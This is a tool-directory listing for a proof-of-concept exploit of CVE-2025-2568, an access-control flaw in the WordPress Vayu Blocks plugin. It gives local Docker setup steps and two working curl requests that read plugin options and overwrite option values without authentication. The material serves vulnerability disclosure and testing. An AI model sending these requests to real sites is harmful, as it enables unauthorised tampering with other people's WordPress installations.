Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC_CVE-2025-2568 — Proof-of-concept exploit for CVE-2025-2568, demonstrating unauthorized access and modification of WordPress Vayu Blocks plugin options via missing capability checks. | Kitploit
Tools/GitHubGitHub/shinigami-777/poc_cve-2025-2568
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinigami-777/poc_cve-2025-2568

PoC_CVE-2025-2568

Proof-of-concept exploit for CVE-2025-2568, demonstrating unauthorized access and modification of WordPress Vayu Blocks plugin options via missing capability checks.

View Repository
10 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC CVE-2025-2568

Overview

The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized access and modification of data due to missing capability checks on the vayu_blocks_get_toggle_switch_values_callback and vayu_blocks_save_toggle_switch_callback function in versions 1.0.4 to 1.2.1. This makes it possible for unauthenticated attackers to read plugin options and update any option with a key name ending in _value.

Exploitation Steps

Setup (using docker)

  1. Clone the repo and follow the steps:
    root@kitploit:~
    cd vuln-wordpress
    docker-compose up -d
    
  • Unzip the Vayu-Plugin inside the wp-content/plugins folder.
    root@kitploit:~
    cd wp-content/plugins/
    unzip vayu-blocks.1.2.0.zip
    
    The Vayu-blocks plugin (version 1.2.0) is now installed.
  • Exploit:

    1. Use this to read the options:
      root@kitploit:~
      curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
      
    2. Send a POST request like this to modify the option values.
      root@kitploit:~
      curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
       -H "Content-Type: application/json" \
       -d '{"key":"container", "value":"new_value"}'
      

    Exploit Video

    wordpressexploit.webm

    Download Tool